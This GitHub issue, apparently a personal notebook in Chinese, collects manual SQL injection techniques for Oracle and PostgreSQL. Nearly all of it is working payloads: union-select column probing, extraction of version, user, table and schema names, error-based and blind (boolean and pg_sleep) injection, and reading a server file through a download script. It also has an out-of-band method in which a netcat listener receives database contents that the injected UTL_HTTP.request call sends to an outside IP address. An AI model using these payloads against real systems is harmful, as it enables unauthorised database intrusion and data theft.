Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

注入(六) #94

Open
PyxYuYu opened this issue Mar 17, 2017 · 0 comments
Open

注入(六) #94

PyxYuYu opened this issue Mar 17, 2017 · 0 comments
Labels

Comments

@PyxYuYu
Copy link
Owner

PyxYuYu commented Mar 17, 2017

Simplicity is the ultimate sophistication.

0x01 SQL注入

  • Oracle
    • Oracle 数据库支持 || 来连接字符
      • 通常在 URL 后添加 ' and ''||' 1'='1' and ''||' 1'='2 进行判断
    • union 手工注入(此处 POST 注入)
      • 判断数据库类型是否 Oracle
         and 0<>(select count(*) from dual)
      
      • order by 判断字段长度
         order by 17
      
      • union select 爆显位,由于 Oracle 的字段敏感性,类型必须一一对应,只能提交
         union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual
      
      • 页面返回正常,逐一判断字段,排除,最终提交,爆显位 1,5,9
         union select '1','2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual
      
      • 数据库版本
         union select '11'||((select banner from sys.v_$version where rownum=1)),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual
      
      • 当前连接用户名
         union select '11'||((select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual
      
      • 利用 v$logfile 判断操作系统
         union select '11'||((select member from v$logfile where rownum=1)),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual
         // 结果为 H:\ORADATA\SZGOV92\REDO01.LOG 是 windows 系统
      
      • 表的数量
         and (select count (*) from user_tables)=259 and 'kKTd'='kKTd
      
      • 表名
         union select '11'||TABLE_NAME,'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from (select A.*,rownum rn from (select * from USER_TABLES) A where rownum<2) where rn>0
      
      • 数据数量
         union select UNION SELECT '11'||count(*),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from INQUIRY_USER
      
    • 不支持 union -- UTL-HTTP 反弹注入
      • 利用 UTL_HTTP.request()
        • 该函数可以从 Oracle 数据库向外发送请求数据,通常在接收端执行 nc -lvp 端口号,可以直接将注入反馈的信息反弹回来,显示在 cmd
        • 类似的函数还有 UTL_MAIL.request() UTL_SMTP.request() UTL_INADDR.request()
        • 首先在本地 cmd 上输入 nc -lvp 2007
        • 提交 URL
           http://www.xxx.com/1.jsp?id=00016222' and UTL_HTTP.request('http://61.139.105.106:2007/'||(select banner from sys.v_$version where rownum=1))=1 and ''||' 1'='1
        
        • cmd 上显示返回的目标服务器的数据库版本
        • 提交 URL
           http://www.xxx.com/1.jsp?id=00016222' and UTL_HTTP.request('http://61.139.105.106:2007/'||(select instance_name from v$instance))=1 and ''||' 1'='1
        
        • 返回数据库名
        • 通过改变 select instance_name from v$instance 可以爆出数据库其他内容
  • PostgreSQL
    • 手工注入检测,不建议使用火狐浏览器进行测试,因为如果是语法错误的话, Postgre 返回的错误信息在火狐中会显示不全
    • union select 型注入
      • Postgre 在进行 union select 操作时对数据类型是敏感的,如果类型不匹配,则会返回 Union 型别 XXX 和 XXX 不符 的错误
      • 由于 Unknown 类型可以转换为绝大多数类型,所以可以使用 '1','2','3'... 代替 1,2,3...,从而实现自动匹配
      • 注:在任何时候都不建议使用 null 进行匹配,因为有时可能会因此导致缺少一个甚至多个重要的输出位置,用单引号或美元符号引起的字符串作为替代是最好的做法
      • 注入步骤
         // 爆显位
         Content.php?id=1 and 1=2 union select 1,'2','3','4'--
      
      • 发现正常的页面中出现了 34 两处显示位置,将 34 替换为其余语句即可进行进一步的注入
      • 获得 Schema 总数
         Content.php?id=1 and 1=2 union select 1,'2',count(*)::text,'4' from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x--
      
      • 获得第一个 Schema 名称,逐渐修改 offset 的值即可获取所有的 Schema 名称
         Content.php?id=1 and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3 limit 1 offset 0-- 
      
    • union image 型注入
      • 注入的不同点在于数据库中存储的字段不是常见的数值或字符串,而是 bytea 型数据(类似 MSSQL 中的 image 类型)
      • bytea 可以看作是字节数组(byte array),由于 Postgre 允许将 varchar/text 转换成 bytea,同时也可以自动从 Unknown 类型进行转换,所以在实际注入时没有太明显区别
      • 获得第一个 Schema 名称,逐渐修改 offset 的值即可获取所有的 Schema 名称
         image.php?id=1  union select 1,'',table_schema::text::bytea from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3--
      
    • union list 型注入
      • 注入点所在的脚本文件会遍历查询返回的结果集中的每一行,并在将其处理后输出到页面
      • 获得所有 Schema
         List.php?type=article' and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3--
      
    • union download 型注入
      • 服务器将上传的文件保存在某个目录下,同时在数据库中保存文件的路径,用户下载文件时服务器脚本根据传递的 id 获取文件路径,读取文件并直接输出到 Response
      • 下载 download.php 文件内容
         Download.php?id=1 and 1=2 union select '1','/download.php','3'-- 
      
    • 无输出显错型注入
      • 前提:服务器脚本可以返回一些数据库错误信息
      • 不能通过闭合语句使用 union 联合查询获得返回结果的注入,如此,必须借助强制类型转换导致的报错来获得信息
      • 在这种注入点进行注入时需要根据爆出的错误信息进行闭合查询语句,之后利用多行执行的特性在语句后加入其他语句进行查询并将结果进行强制类型转换,最后根据错误提示获取所需信息
         111' where id=1;select ('!'||count(*)::text)::int from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x-- 
      
      • 报错可以得知 Schema 总数
         111' where id=1;select ('!'||table_schema::text)::int from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x limit 1 offset 0-- 
      
      • 报错可以得知第一个 Schema 名称,逐渐修改 offset 的值即可获取所有的 Schema 名称
    • 无输出无显错型注入
      • 布尔盲注
        • substrascii 截取字符进行比较
           ascii(substr(current_schema(),1,1)) between 97 and 112 
        
      • 时间盲注
        • 延时语句为 pg_sleep(int)
        • 延时语句一般与多行执行同时运用,由于 Postgre 多行执行会覆盖前一行执行时返回的结果集,导致 Web 应用程序会因为不能从结果集中获取结果而出错,所以为了判断前一条语句是否执行,加入延时语句就很有用
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant